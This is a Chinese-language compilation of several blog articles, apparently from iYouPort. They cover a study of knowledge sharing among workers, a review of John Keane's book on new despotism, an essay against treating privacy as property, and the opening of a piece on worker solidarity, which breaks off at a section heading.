现在你知道的了，由于互联网鼓励的是竞争，人们彼此间更多是为了争夺更大的自身影响力；这种情况会明显压制知识的流动，并鼓励那些肤浅的观点占据大部分流量 —— 人们倾向于转发后者是由于它们代表 “我的立场”，积累 “我的” 声誉。

- 《百忧解时代（一）变质的竞争和时代性焦虑》

这项研究收集了来自澳大利亚各个组织的394名知识工作者和中国一家出版公司的195名知识工作者的数据。

研究人员对参与者进行了调查，以了解他们在工作上的认知需求、他们的自主权以及同事之间在工作上的依赖程度。还询问了他们与他人分享知识的动机。

几个月后，研究人员要求参与者报告与同事共享知识的频率、以及他们认为该知识有用的程度。

分析得出了三个关键发现：

- 首先，人们出于不同原因共享和隐藏知识；
- 其次，如上所述，当人们从事对认知有要求的工作并拥有很多自主权时，他们会更愿意分享知识；
- 第三，如果他们认为同事过于依赖他们，就更有可能隐藏知识。

下面逐一介绍一下。

1、是什么促使人们分享或隐藏知识？

「图」

在分析有关动机的数据时，研究人员将其参与者的回答归类为“自主动机”（这意味着做某事是因为它有意义或令人愉快）、或“受控动机”（这意味着要做某事是为了获得奖励或避免惩罚）。

研究结果表明，当成员具有自主动机时，知识共享就更有可能 —— 例如，他们同意“与队友分享我所知道的事可能很重要”、或“谈论我所知道的事很有趣”这样的想法。

相反，当人们的动力是由外部压力驱动时（比如“我不想受到批评”或“不这样做的话我可能会被排斥”），人们反而更有可能隐藏自己的知识。

☞这意味着，*迫使*人们分享知识而不是让他们看到知识分享本身的价值，就不会有好的结果。

如果你的队友不了解共享知识以达到组织目标的重要性，那么他们共享该知识的可能性就很小。

并且，如果你的队友被迫分享自己的知识（比如你把这条写入组织规范了，并添加了隐藏知识的惩罚方式），那么就很可能适得其反。

☞如上所述，如果人们害怕失去竞争优势，他们就更不愿意透露信息了。

但要知道，这其中可能有社会文化方面的作用。在这项研究的中国样本中，上述“受控动机”与知识共享的频率增加有关，但与共享知识的更大效用却没有关系 —— 简单说，在中国的案例中，人们更可能会在惩罚压力下共享知识，而非对共享本身的价值的认同。

所以，在组织运作中，作为领导者您应该考虑文化因素。

2、什么样的工作会促进知识共享或导致隐藏？

「图」

对认知的要求很高的工作可能会更加有趣和刺激，并且也更加困难和充满挑战，于是您会希望队友既喜欢共享信息、又能看到共享的更大利好。

同样，由于在工作中拥有更大的自主权会导致发现它更有意义，所以您会希望看到同样的分享倾向。

这项研究的结果支持了这些想法。

☞当人们的工作涉及较高的认知要求和自主权时，他们会更频繁地共享有用的知识。澳大利亚和中国的知识工作者在此都一样。

3、当人们依赖你时会发生什么？

「图」

知识工作在很大程度上取决于组织中各个成员所拥有的有形和无形知识（例如，数据和专有技术），这会在员工之间造成相互依赖性。

因此，一个人可能需要来自各方的信息才能有效完成其工作。

如果您依靠同事的知识来完成工作，那么可能会通过与他人共享知识来使自己更有可能做出回报。这是一种凝聚力。

除了询问受访者有关他们如何与同事分享和隐藏知识外，研究还询问他们是否依靠同事来完成工作。研究人员希望看到如果受访者认为他们的同事依赖于他们，他们将更愿意分享知识，而不太可能隐藏它。

但令人惊讶的是，结果完全相反。

☞当人们意识到他人依赖自己时，他们会感到压力（动机的受控类型），从而更加倾向于隐藏知识。

这也许是队友的依赖性占据了他们太多时间，时间是一直稀缺的资源。这种情况下人们甚至会撒谎，假装自己没什么可以提供的。

当然，与所有研究一样，这项研究也有局限性。

首先，没有考虑参与者共享知识的性质。有人可能会说，如果队友喜欢分享自己的知识（自主动机），这可能会导致他们分享更多的隐性知识（更难以记录和转让的内在专有技术），而不是显性知识（清晰的教科书信息）。

其次，研究数据仅限于员工的自我报告。如果将来的研究可以收集其他数据，例如队友之间的共享数据、有用性、拒绝次数以及原因，结果会更好。

☞有效的知识共享对于所有组织来说都是必不可少的，但是许多组织都在努力劝导成员这样去做，却往往事与愿违。

这项的结果表明，作为组织者，如果您想要鼓励队友之间更多的共享，那就首先需要设计您的工作本身，以便人们想要讨论他们所知道的东西。

不论是社区、团队、组织或者公司，管理都是一项复杂的工作；您可以在实践中获得经验，虽然这会导致太多的试错，当然也可以通过科学研究的结论找到灵感。希望这篇文章对你有用。

不要错过我们推荐的资料👇，在这里下载这份手册：https://t.me/iyouport/6779

原文

为什么反而是独裁者赢了？ - iyouport

免费书和纪录片社会反抗和思考

它并没有否定民主，而是模仿了民主。

当我们描述专制国家和民主国家的相似性、以及民主国家采取的专制国家的做法时，往往受到的是鄙视，甚至被质疑动机，比如《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》、再比如《21世纪维稳5步拳》，这令人沮丧。也是为什么我们在去年底的对话中强调用事实说话，而不是您的意识形态立场和信念，因为事实才是有可能战胜专制的唯一途径。

当下的专制对民主的模仿正是其得以延命的关键，这种模仿是一种侵蚀；这种新的专制主义冒充了民主，并以民主的缺点为食。它甚至改造了民主，将长期的民主国家拉向新专制。

- 人们为什么如此顺从？
- 为什么总是心存侥幸，认为自己可以一次又一次逃避噩梦并置身事外？
- 选举为什么越来越没有意义？
- 人们为什么愿意容忍巨大的不平等，并梦想着自己“只要足够努力就能攀升到更高的阶级地位”？
- 专家是如何变成砖家的？
- 民主和专制之间的界限是如何被模糊了的？

这是第二次介绍这本书。也许它并不完美，但它提出的问题，在当下无疑是很重要的。在中国舆论专注于争论资本主义还是社会主义、小粉红是怎么回事、法治究竟有没有用等等局部问题时，了解这一更大的背景，尤其重要。

最近，民主似乎状况不佳。而相比之下，民主的全球政治对手似乎正在蓬勃发展，并对其提供可行的替代方案的能力越来越有信心。

在唐纳德·特朗普当选几周后，弗拉基米尔·普京兴高采烈地发表评论，庆祝“西方社会政治意义上的民主理念的退化”。中国学者苏长和

赞扬了他的国家在习近平领导下取得的成功，他对普京表示赞同，称“西方民主已经出现了衰败的迹象”。迪拜统治者、阿联酋（UAE）总理谢赫·穆罕默德·本·拉希德·阿勒马克图姆（Sheik Mohammed bin Rashid Al Maktoum）希望他的政府将很快比西方民主“更接近人民，更快、更好、更有反应”。他声称，由于阿联酋的民主版本深深扎根于当地社会，这一梦想已经在实现。

当然，专制者总是吹嘘他们的成就，或坚持认为他们的政权“建立在人民的意愿之上”。即使是纳粹德国也宣称自己具有人民的合法性，是种族主义和反犹太主义的人民主权。苏联的辩护人和同路人给斯大林的东欧附庸国贴上了“人民民主”的标签 …… 而当前的叙事似乎令人沮丧地熟悉。即便如此，强大的专制国家寄生在模仿民主的基础上，而实际上却在不断侵蚀民主的核心，这种景象应该引起我们的警惕。民主的对手们是否真的在壮大？而且，这次到底有什么不同？

约翰·基恩对他所称的新专制主义进行了富有启发性的研究，令人信服地指出，这种新专制主义在中国、匈牙利、伊朗、俄罗斯、沙特阿拉伯、新加坡、阿联酋和其他许多国家的发展势头为其今天的可行性和未来的持久性提供了证据。

- 现在多种预期中最可怕的、也是最可能的一种就是，中国式的幻影民主会无限扩张，从国内到全球—— 关于，顺从就有钱赚的统治模式，用钱换忠诚、换“稳定”……如果您错过了《党与人民：*21* 世纪的中国政治》

作为一种新的政治形式，新的专制主义冒充了民主，并以民主的缺点为食。也许最不吉利的是，它甚至很有可能在长期存在的民主国家取得进展，在那里，普京和其他国家所庆祝的政治衰败不仅仅是一种被贬低的、自我安慰的幻想。

基恩是一位澳大利亚政治理论家，他在研究民主的脆弱性时带来了一种独特的全球敏感性。基恩利用一系列政治和学术资料，在各种政治背景下挖掘新专制主义的错综复杂的运作方式。然而，他在现代欧洲政治思想的知识世界中仍然是最自在的，以了解令他震惊的东西。

事实上，他以《王子》（1532年）为蓝本，这是佛罗伦萨思想家尼科洛·马基雅弗利（Niccolo Machiavelli）对近代早期欧洲专制者的肮脏政治伎俩所做的艰难分析。基恩坚持认为，只有通过剖析新的专制主义的柔韧但不乏阴暗的政治技巧，我们才能理解它是如何使其臣民顺从并看似感激的。

- 如果您错过了《我们的马基雅维利时刻》

基恩承认，他的书和马基雅弗利的经典作品一样，可能会无意中给新的暴君及其崇拜者壮胆，他要求我们以法国哲学家让·雅克·卢梭解读《王子》的同样精神来阅读这本书："在假装给国王上课的同时，他给人民上了一课"。像马基雅维利一样，基恩想把不合法的统治者赶出去，让民主人士认真对待专制主义的危险。

基恩写道，新的专制主义代表了一种自上而下的国家资本主义的现代种类，其巨大的不平等被"从上到下的赞助人-客户关系、中产阶级的忠诚度、上演的选举、以及大量官方认可的关于人民是政治秩序的真正来源的说辞所弥合"。它融合了国家和经济，从而抹去了公共和私人之间的明确划分，政治和经济特权以混乱的方式重叠在一起，为政治掌权者的利益服务。虽然新专制主义的结构在俄罗斯或其他后共产主义国家（从海湾石油国家到右翼新加坡）可能有所不同，但一些共同点是突出的。

将资本主义与国家合并，通过有利可图的赞助网络，保证政治上顺从的人也能分得一杯羹，无论多么微不足道。任何愿意支持政权的人都会成为获得更丰厚回报的候选人。

至于被誉为"自由民主不可或缺的社会载体"的中产阶级，基恩表示，他们往往低头不语，只管自己的事。

资产阶级没有为争取公民自由或对行政部门的立法检查而斗争，而是把时间花在了购物和上网上，他们的一切活动被家长式的政府管理人和协助他们的大型（往往是西方）科技公司仔细监控着。新的暴君善于利用先进的数字技术，他们利用这些技术来收集所有信息，并在必要时压制政治异议的任何迹象。

与二十世纪的共产主义或战时法西斯主义不同，这个新专制的繁荣部分是因为它为中产和上层阶级提供了长期以来被誉为"自由民主伟大成就之一"的消费主义生活方式。与此相呼应的是，政治精英们也倾向于淡化激进的意识形态诉求，或者干脆提供一个适合所有人的政治变色龙。正如一位精明的普京观察家所观察到的，"莫斯科可能让你感觉上午是寡头政治，下午是民主政治，晚上是君主制，到睡觉时就是极权主义国家"。（中国也是如此）

基恩的书对新专制主义的阶段性或幽灵式民主作了一个特别有用的概述。政治领导人专注于他们的公众形象和变幻莫测的大众舆论，从事半永久性的政治运动 —— 不仅因为他们依赖大众的支持，当然也因

为他们想控制和操纵大众。毫不奇怪，雷杰普·塔伊普·埃尔多安、维克多·欧尔班、习近平和其他新的专制者，往往是“可见的、嘈杂的、喋喋不休的”。大型媒体公司，往往与政治精英关系密切，热衷于合作，以换取税收减免、安全庇护所、政府施舍和政治准入。而且，政治精英们也会利用民调员和专家，他们对政权的慷慨解囊同样感兴趣。

- 如果您错过了《票友崛起的世界真的很好吗》

基恩对与新暴君共谋的私营公司进行了揭发。例如，咨询公司麦肯锡通过支持中国、沙特阿拉伯和俄罗斯的国家指导和经营的企业，积累了丰厚的利润。其他大型美国和西欧公司提供了新暴君所依赖的高科技镇压和监视工具。（比如对中国，在我们的 列表-4中“作恶者：谁在帮中国”板块看到具体内容）。

资本主义民主与新制度的纠葛有直接的物质形式，但也有更间接的形式。黑钱在政治事务中的作用越来越大，公司权力不受约束，经济不平等的加剧，警察和国内维稳的军事化（在这些链接中看到具体内容）：这些以及当代民主国家中许多其他令人震惊的趋势都助长了对民主的冷嘲热讽，而普京、阿勒马克图姆、和其他新的暴君，则成功地将其作为强硬的现实主义兜售给其追随者。他们和他们的盟友可以轻易地发现民主的真正缺陷。

新的专制者还广泛培养国内和国外的知识分子，为他们提供意识形态的掩护。例如，当保守派政治理论家帕特里克·丹尼恩赞扬欧尔班的反女权主义和反LGBTQ政策时，匈牙利政府明显感到高兴。基恩正确地观察到，新的暴君们渴望成为强人统治者：男性主义的政治风格与反动的性别政策携手并进。

在新的专制主义中，选举是司空见惯的：例如，近几十年来，中国在六千个村庄举行了超过一百万次选举。即使新的专制者吹嘘他们使用选举手段来证明他们的民众合法性，他们也部署了一系列新的和不太新的马基雅弗利式的“黑暗艺术”：骚扰可能不合作的候选人、划分选区边界、以及忽视或误计不方便的选举结果。即便如此，选举还是会给掌权者带来潜在的风险。然而，正如基恩所指出的那样，精心管理的选举设备模糊了新专制主义的“舞台”和其他地方不太虚假的民主版本之间的边界。

- 如果您错过了《选举如何成为一门生意：私人情报市场和现实的有偿操纵者》

公共论坛和民众讨论的实验也发挥着关键作用。基恩认为，新专制主义不同于其早期的现代变体，也不同于法国人孟德斯鸠（Baron de Montesquieu）和其他启蒙知识分子的批评性剖析。针对专制主义，孟德斯鸠、约翰·洛克和其他著名的批评家将其与秘密的、绝对的、无法无天的、通过武力或暴力行使的权力联系起来。

在中国、新加坡和阿联酋，新的暴君是痴迷于公关的公共生物。他们采用精心策划的公共戏剧性，以及假民主的审议和参与模式。国家暴力的形式是他们通常藏在口袋里的天鹅绒拳头。他们校准的胁迫系统节省了粗暴的力量。恐惧和不安全感没有孟德斯鸠预想的那么普遍，部分原因是天鹅绒手套只有在政权面临公开的不妥协和公众的异议时才会脱下来。即使如此，国家的暴力也是“巧妙地调整，往往是外包的，而且，直到它发作的那一刻，都是一种阴暗的事”。

最后，新的专制主义没有遵守法治，即 权力拥有者与他们的臣民遵循同样的规则，也没有受到宪法手段的制约。然而，他们的统治可以呈现出令人惊讶的法律主义色彩，新的专制者大声宣传他们对某种基于法律的政府概念的忠诚度。基恩认为，他们寻求的是一种退化的法治，它为国家活动提供了合法的外衣，但却无法约束制度的主要参与者。不是孟德斯鸠的无法无天的专制主义，而是法律和无法无天的混乱组合主导着政治舞台。

幽灵式民主的这些元素结合在一起，使政治精英们能够测量公众的情绪温度，并在政治上有利的时候，不让它过快升温。事实上，基恩认为，新的专制主义的调整和学习能力正是它对民主人士的挑战所在。它的反馈机制使它具有惊人的适应性。

可以肯定的是，这个系统也有弱点。与其他自上而下的政权一样，政治精英们高估了自己的智慧和能力。有权势的人物—— 习近平就是一个突出的例子—— 似乎热衷于抵御对手，防止有才华的年轻领导人的崛起。那么，如何实现权力的平稳过渡呢？由于新的专制者严重依赖数字技术，他们也很容易受到新型抗议的影响（hacktivism）。数字技术的去中心化、网络化特点意味着它们“不能被任何一个用户或用户群完全控制”。基恩对政治对手可能创造性地利用数字技术抱有谨慎观望的态度，他将2019年的香港抗议活动描述为“中国统治者迄今所面临的最严重的数字风暴”。

基恩对一些复杂以及令人震惊和惊讶的趋势做出了解释。然而，他对启蒙运动政治思想的追问令人费解。将新制度描述为一种现代化的专制主义有什么好处呢？特别是考虑到这个词过去就有问题？

基恩承认，在启蒙运动的政治批评家中，专制主义的概念具有令人担忧的东方主义内涵。他们认为，专制主义的故乡是外来的、据说是不自由的东方，是孟德斯鸠所讽刺的土耳其女人(Seraglio)，或者是伏尔泰所说的中国。一些读者可能会指责基恩复制了这个术语的东方主义：他的案例位于西欧和北美之外。

基恩正确地坚持认为，我们对概念术语的选择很重要：我们需要为新的政治格局命名并对其进行正确的分析。

他为新专制主义这一类别辩护，认为它最能捕捉到实地的政治现实——眼前的政权模仿民主，有选择地从民主的政治工具箱中窃取。他认为很多政治学家和社会学家最喜欢使用的“威权主义”类别扭曲了新专制主义的特点，包括它对假民主的依赖。一些老的术语表 —— 民主、暴政和独裁 —— 误导性地暗示了民主和其不民主的对手之间的绝对对比。极权主义就更不合适了：普京的俄罗斯和习近平的中国都不像斯大林主义的俄罗斯或毛主义的中国。当然，今天的北京和莫斯科商场会让毛泽东时代的农民和斯大林时代的无产者感到震惊。同样，上世纪中期欧洲法西斯主义的尚武精神和战争贩子角色，似乎也很遥远。在一定范围内，新的专制主义的臣民可以表达他们的观点，而不必担心被扔进监狱或送进劳改营。仅仅在一定程度上。

不太有说服力的是，基恩认为新专制主义这个类别最能让我们捕捉到这样一个事实，即 它的许多臣民心甘情愿地向任意的、不负责任的权力屈服，这些臣民实行着自愿的奴役，基恩认为这是新政治格局所不可或缺的。然而，正是这种现象消耗了二十世纪中期关于法西斯主义和国家社会主义的辩论。正如法兰克福学派精神分析学家埃里希·弗洛姆在《逃离自由》（1941年）中问道的：为什么居住在政治和经济发达国家的看似“文明”的中产阶级成员如此愿意放弃和逃离自由的挑战？弗洛姆的同事，哲学家马克斯·霍克海默和政治经济学家弗里德里希·波洛克，同样把上世纪中期法西斯主义的物质基础定位在相对稳定的国家资本主义政治经济中。总之，无论是今天的自愿被奴役还是它的国家资本主义基础，似乎都不是完全新颖的。

同样令人沮丧的是，基恩没有参与其他的框架，而这些框架似乎比他所否定的框架更有说服力。法兰克福学派的另一位人物，政治理论家Franz L. Neumann 在20世纪50年代初写道，重新使用了凯撒主义这个老词，部分是为了让非自由主义运动和政权中的阶段性或伪民主有意义。最近，政治学家们使用了“选举威权主义”这一类别，来描述一些政治制度如何将选举作为威权而非民主统治的工具。一些这样做的学者，如基恩，似乎对稳定的、基本上是专制的、欺骗性地模仿民主的政权的前景很警惕。尽管基恩在强调新政治秩序的国家资本主义

社会和经济基础方面可能做得更好，但他很方便地淡化了他的方法和上述这些人的方法之间的重叠，简单地承认 —— 但随后又甩开了 —— 一个令人印象深刻的竞争对手分析框架。

更奇怪的是，基恩的这本书忽略了正在进行的关于民粹主义的辩论，他在其他地方对这一现象进行了质疑。诚然，作为一个类别和解释框架，民粹主义有其自身的弱点。然而，其假定的特殊性与基恩认为的新专制主义的特征相重合。例如，专制民粹主义理论家担心强人统治者以人民的名义行使权力，同时妖魔化假想敌的全球崛起。如果不完全相同，那么这两种现象究竟是如何关联的呢？

- 如果您错过了《您可能误会了的民粹主义（上）：民粹主义并非问题》
- 《您可能误会了的民粹主义（下）："真正的公民"》

最后，基恩赞成新专制主义这一术语的最有力的理由是其"强大的伦理刺痛"：它使"我们不寒而栗"，并"鞭策和刺激我们"，以认真对待不是由自由主义者和民主人士而是由流行的强人统治者主导的全球秩序这一幽灵。

他的分析追踪了亚历克西·德·托克维尔早期试图通过诊断一种新的、基于大众的、民主的专制主义的可能性来更新启蒙运动的政治理念。托克维尔在《论美国的民主》沉闷的第二卷（1840年）中预言，这样的制度可能会对被宠坏的臣民积累巨大的监护权，这些臣民专注于他们自己狭隘的私人事务，但被剥夺了行使政治自主权的真正机会。尽管基恩正确地指出了托克维尔的许多错误之处，但他认为托克维尔预见到了21世纪专制主义的根源有时可以追溯到"公民及其精英为建立民主所做的失败的地方"。就像在匈牙利或俄罗斯，专制主义可以在失败的民主实验之后出现。

像托克维尔一样，基恩希望在为时已晚之前敲响警钟。然而，新专制主义的政治冲击价值是否能证明其分析的价值，仍然不清楚。

唐纳德·特朗普在基恩的书中只简短地出现了几次。然而，它与第四十五届美国总统的关系似乎很明显。特朗普与福克斯新闻的媒体亲信的关系混乱，对基于法律的政府的敌意，对选区划分和其他肮脏的政治伎俩的偏好，对为他提供政治服务的企业寡头的软肋，对新技术的有效利用：大量的证据表明，至少特朗普代表了一个想成为新暴君的人，其公开上演的、嘈杂的、喋喋不休的自上而下的行政统治品牌有时让习近平看起来反而更像个政治家。那么，我们是否应该不仅担心新专制主义令人不安的全球政治前景，还应该担心其在民主国家内的

政治前景？

基恩的回答是坚决的，尽管不完整，他的回答就是："是的"。在提醒读者注意专制主义在民主中潜在增长的趋势的同时，基恩关注其在政治环境中的现今运作情况，在这些环境中，民主从未真正繁荣过（例如中国和阿联酋），或者民主化在突然停滞前发生得很不稳定（例如匈牙利、俄罗斯）。但是，在特朗普的美国、纳伦德拉·莫迪的印度，甚至是贾伊尔·博索纳罗的巴西，其前景又如何呢？与特朗普一样，博尔索纳罗和莫迪现在正热衷于借鉴马基雅维利的游戏规则，基恩对这些游戏规则进行了巧妙的分析。那里和其他地方的民主政治文化和机构能否成功守住底线？公民能做什么，才能不仅阻止进一步的政治倒退，还要扭转眼前的可怕趋势？

基恩对这些明显的问题没有提供简单的答案。然而，他的书内容丰富、见解深刻，是对当代关于民主前景的辩论的重大贡献。他描绘了一幅令人不安的全球未来图景，在这个图景中，任何可辩护的意义上的民主都被贬低和边缘化了。正如基恩成功记录的那样，民主与专制主义之间令人不安的暧昧关系的证据不断堆积：一个成功地伪装成民众统治的最先进的、全球范围内的专制主义的前景似乎是真实的。我们这些担心这种可能性的人可以从基恩深思熟虑的论述中获得学习，并进行建设性地发展。〇

📌 在这里下载这本书：《中国的银河帝国，和高堡奇人》。

Why Do Authoritarians Win?

原文

为什么将隐私视为产权的想法必需彻底结束 - iYouPort

为什么社会反抗和思考

最近，一位在中国经商的读者对我说：“微信是我们这些人的生命线，如果离开它就相当于切断了收入来源”。他是通过signal对我说的这句话，因为他知道，联系我最安全的方式是什么 …… 这让我想起立法界最近正在努力推动的奇怪的产权模型。我们需要对隐私的概念有一个更加科学和理性的思考。

「图」

「图」

这一讨论实际上已经进行一段时间了，因为我们大多数人并不真正了解隐私，因此我们在监管隐私方面确实很糟糕。

人们倾向于将隐私视为“事物”。但它并不是。它应该是一组权衡，可以根据涉及的人、习惯性、以及权衡的条件而改变。

我们多次使用的示例是离开家购买食品杂货。这样做需要放弃一些隐私，因为有人可以看到你。他们甚至可能看到您购物车中的东西。但是对于大多数人来说，这种权衡是值得的。

这里的隐私“损失”很小。被他人看到您购买了西兰花也没什么大不了的。但是，对于某些人而言，权衡可能会大不相同。

例如，如果您是电影明星，那么进入杂货店可能会带来巨大负担，并会影响您的隐私。狗仔队可能会跟踪你、其他客户可能会打扰你，您购买的商品可能会被无聊的新闻头条分析，被嘲笑、甚至更糟 ……

其他因素也会起作用，例如您要购买的是什么？西兰花可能没什么大不了的，但是，如果买的是其他东西，有可能会因为被分析被联想而

导致非常危险的结果 —— 虽然你只是日常使用。比如：

- 《买一把锤子就会能让你变成“恐怖分子”》

以上只是非常简单的道理，但是它在很多情况下都适用。我们做出的许多决定都涉及有关隐私的基本权衡。

我们所有人都隐含地进行着各种计算，涉及相当简单的成本效益分析。我们从x中获得的价值是否大于潜在的侵犯隐私损失？

而且，当然，“成本”计算通常会变得更加困难，其中一些不透明的概率在起作用。

例如，某人进入药店购买避孕套可能会略有失去隐私权 —— 但如果此人这样做是有外遇，那么“代价”可能是被此人的伴侣发现。

问题在于，如果你将隐私仅视为必须“保护”的“事物”，往往无法考虑到各种折衷的细微差别。

它不能解释这样一个事实，即 在相同的情况下，不同的人可能会有不同的权衡、折衷不同的方面，并且可能对可接受和不可接受的权衡有着完全不同的信念。

在此基础上，我们今天遇到的有关“隐私”的真正问题是，我们常常对权衡方程的两面都不了解。

一些人只是对互联网公司疯狂吸取所有人的数据而感到担忧或不安，但尚不完全清楚自己损失的成本是多少。

没有足够的透明度，也没有足够的能力来准确了解实际风险，因此，我们经常使权衡决策变得有些盲目。

很多人似乎认为让 Facebook 或微信吸收所有数据是与自己的家人和朋友保持联系的一项 “有价值的交易”。而另一些人对此仍一无所知。但是部分问题是，成本充其量是无定形的，而对许多人来说却有可见的实惠。

尽管如此，对于收集哪些数据以及如何使用数据缺乏透明度，再加上最终用户完全没有控制权，给某些人造成紧张感是完全合理的。

问题是成本可能会很高。我们可能真的没有任何办法对此做任何事。这就是大多数人担心社交媒体对隐私影响的主要视点。

鉴于如今人们对“调节”隐私非常感兴趣，人们用来理解隐私的模型可能会产生很大的影响。

使用错误的模型将导致非常糟糕的决定。

不幸的是，最糟糕的想法之一却是最流行的：即 将“隐私”转变为准知识产权的想法。也就是将其设置为好像带有价格的“财产”一样。可悲的是，这种模型在法规方面有很多支持者。

《纽约时报》最近发表了一篇由 Sarah Jeong 撰写的意见，解释了为什么将隐私设置为产权是一个糟糕的主意。

这篇评论文章发表在 Caming Kerry 和 John Morris 的一篇类似（甚至更详尽）的文章之后的大约一个星期，那篇文章同样地解释了为什么数据所有权是保护隐私的“错误方法”。

- 《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》
- 《以隐私为目的的斗争如何让你变成了监视的盟友》

一些政策制定者正在认真考虑这种想法。参议员 John Kennedy（R-LA）提出了一项三页的法案，即 “2019年拥有自己的数据法案”，该法案宣布“每个人都对其在互联网上生成的数据拥有专有财产权”，要求社交媒体公司获得使用此数据的许可。

参议员 Mark Warner（D-VA）和 Josh Hawley（Josh Hawley）（R-MO）正在提交立法，要求 Facebook、Google和其他大型数据收集者披露他们收集的个人数据的价值，尽管该法案不要求付款。

在加利福尼亚州，州长 Gavin Newsome 希望推行“数据红利”，旨在“分享由[人民]数据创造的财富”。

但是正如 Kerry / Morris 所说，以这种方式处理私人数据会遇到各种各样的问题 —— 包括与第一修正案的冲突：

问题是，这不是您的数据；当然也不是监视巨头的数据。像对待财产一样对待数据，即使人们选择“出售”，也无法认识到各种个人信息的价值或个人对其私密信息的持久兴趣。数据不是商品，它是信息。

任何信息权制度，无论是专利、版权、其他知识产权还是隐私权，都会对第一修正案所反映的信息自由流通表现出明显的冲突。

对我们的个人信息的需求正是因为它在众多用途中对他人和社会都具有价值。

将个人信息视为要获得许可或出售的财产，可能会导致人们以极少的价值折衷自己的隐私权，同时给信息的自由流通带来巨大的阻力。

加强隐私的更好方法是确保在个人信息流向所需用途时尊重个人隐私利益，而不是将个人数据贬低为商品。

同样，Jeong 的著作着重强调了将隐私视为财产权的几个问题：

产权是可转让的 —— 一旦您出售房屋，产权就消失了。但是最基本的人权是不可剥夺的，通常是因为一旦权利被剥夺，这些权利就变得毫无意义。

如果可以出售，生命和自由的意义何在？

Jeong 还提出了一个重要的观点：您的“私有”数据实际上也可能是其他人的私有数据，这带来了一些更严重的麻烦：

您的位置数据可以透露您的配偶的下落；您的健康记录会泄露有关您的孩子的信息；如果您出售自己的DNA隐私，您的父母有权获得分成吗？

您是否需要获得配偶的批准才能出售位置信息？您是否需要未出生的后代的许可才能出售您的遗传信息？……

Kerry / Morris 的文章还强调了通常来说对于某些信息的共享、不计价格，对整个社会的有用性。

对所有数据定价，会给基本的交易带来不必要的摩擦；而且，将一切都转换为商品/产权模型将带来相当可观的成本。其中一些人完全 “买得起”，而其他许多人实际上对保护“隐私”无能为力。

当前的 “知情同意”模型失败了，因为用户实际上无法理解他们的数据将被如何使用或随之而来的隐私风险，尤其是在当今互联世界中在线交流不断发展的情况下。

结果是人们直接点击隐私权声明的 “同意”，直达他们想要的信息或服务。

就像 Jeong 所指出的那样，这样的系统可能只是鼓励人们 —— 尤其

是那些最脆弱的人们 —— 有效地“出售”自己的人权。

美国公民自由联盟称该法案为特洛伊木马。

电子前沿基金会表示，“该法律会通过特别鼓励弱势低收入人群将更多的个人信息注入一个利用和歧视他们的行业，来激励人们放弃其基本的隐私权，加剧不平等。”

正如 Kerry / Morris 指出的那样：几乎任何个人的私人数据的“价值”都肯定是非常低的：

英国《金融时报》有一个计算器。默认值为0.007美元，但作为一个经常旅行的富裕人士，Kerry 数据的价值估计为1.78美元。如果价格由服务提供商确定，那么最终的系统很可能会与当前的 “知情同意” 结果非常相似。

如果定价是由消费者或通过谈判确定的，则服务-用户交互的复杂性将更大。这种新的复杂性可能会减慢用户对所需信息和服务的访问，并将“点击疲劳”转变为“协商疲劳”。

当然，政府可以设定价格，但是有人认为他们会以任何有意义的方式设定价格吗？

甚至这还没有涉及多方数据的问题 —— 例如电子商务交易：

在信息作为财产的制度下，购买者和零售商是否都拥有有关交易信息的产权？在这样的财产制度下，零售商难道不能简单地将购买者必须授予零售商许可的条件作为销售条件，以将信息用于指定用途？

难道这不是仅仅导致另一种形式的专制暴政吗，即 想要方便在线购买的购买者被迫将权利转让给零售商。目前尚不清楚信息作为财产制度是否会真正改善当前的隐私状态。

有很多合理的理由（以及一些不太合理的理由）来关注当今的隐私状态。但是，如果“解决方案”是在某种产权制度下将您的数据转变为商品，我们将制造更多的问题，而不是解决问题。

事实上我们之前走过这条愚蠢的路，这一愚蠢的想法是根据版权法将可以被无限复制的“内容”视为“财产”。

这样就产生了一个巨大的混乱局面，尤其是对于言论自由来说，这种想法就是可以以某种形式拥有或限制表达。

确实，过去几十年中有关互联网的许多权利辩论实际上都代表着人们正在进行的努力，即 人们正在努力认识到版权法规定的“内容即财产”制度如何与互联网的“用于通信和共享内容的全球网络”概念并存。

- 《为什么说“知识产权”只是一种愚蠢的委婉说辞》

我们不会通过在“隐私”周围添加组成“财产”的另一类别对任何人有所帮助（除了一些律师之外）。而且，最糟糕的是，对于大多数人而言，实际上无法改善隐私效果。〇

原文

为什么工人不反抗？ - iyouport

反抗者-寻求经验社会反抗和思考

资本主义中的工人阶级不是一个连贯的阶级，而是一个支离破碎的阶级 -- 一群拼命谋生的个人的混合物。这需要政治来改变 ……

如果我们很容易联合起来以争取到我们应得的权利和权力，我们还会被迫去躺平吗？

那么，是什么阻碍了我们的反抗？其实答案很简单，想想看，您会将工友、同事视为什么？您会和自己的同事分享有可能帮您升职的资源吗？您不会，因为您将同事视为竞争对手，而不是战友，你们所有人都担心自己被淘汰和被边缘，为了维生不得不进行残酷的竞争。

如此，令所有人都无法在工作场所找到一个集体身份，大多数人想的并不是为自己的利益原地战斗，而是“尽快赚点钱离开这个地方，自己做老板”（不久后我们将详细解释这件事及其深刻的背景）。这意味着传统工人运动很难形成。但同时，被压迫和剥削的噩梦一直在加深，于是故事不会在这里停止，它会进入工运的下一阶段。

这本书在近期获得的再版是很重要的。

为什么工人—— 作为资本主义内部的多数阶级和资本主义运作不可或缺的阶级 —— 如此难以团结起来以挑战剥削他们的制度？

1993年，长期从事劳工活动的霍华德·博特威尼克（Howard Botwinick）在最近重新出版的《持续的不平等》中探讨了这个问题的一个重要方面。他的论述超越了资本和工人之间的不平等，认为工人阶级内部持续存在的不平等也是“发展统一的劳工运动的关键绊脚石”。

正视这一点意味着颠覆了人们对竞争和垄断之间历史关系的理解。与其说资本主义的发展轨迹破坏了竞争并以垄断取而代之，不如考虑博特威尼克的分析，即：当前资本主义时代的特点是竞争加剧。正是这

种资本主义的竞争构建并再现了工人阶级的分裂。这一点，加上渴望工作的失业工人大军的压力，构成了资本主义劳动力市场的政治经济。

当博特威尼克进入他细致入微的论述的结论时，他谈到了今天的困境。他问道："我们如何重建劳工运动，以便他们能够协同工作，重建那些[激进的工会]和其他基于阶级的机构，最终使我们能够重新组合并超越资本主义？"

超越双重市场

「图」

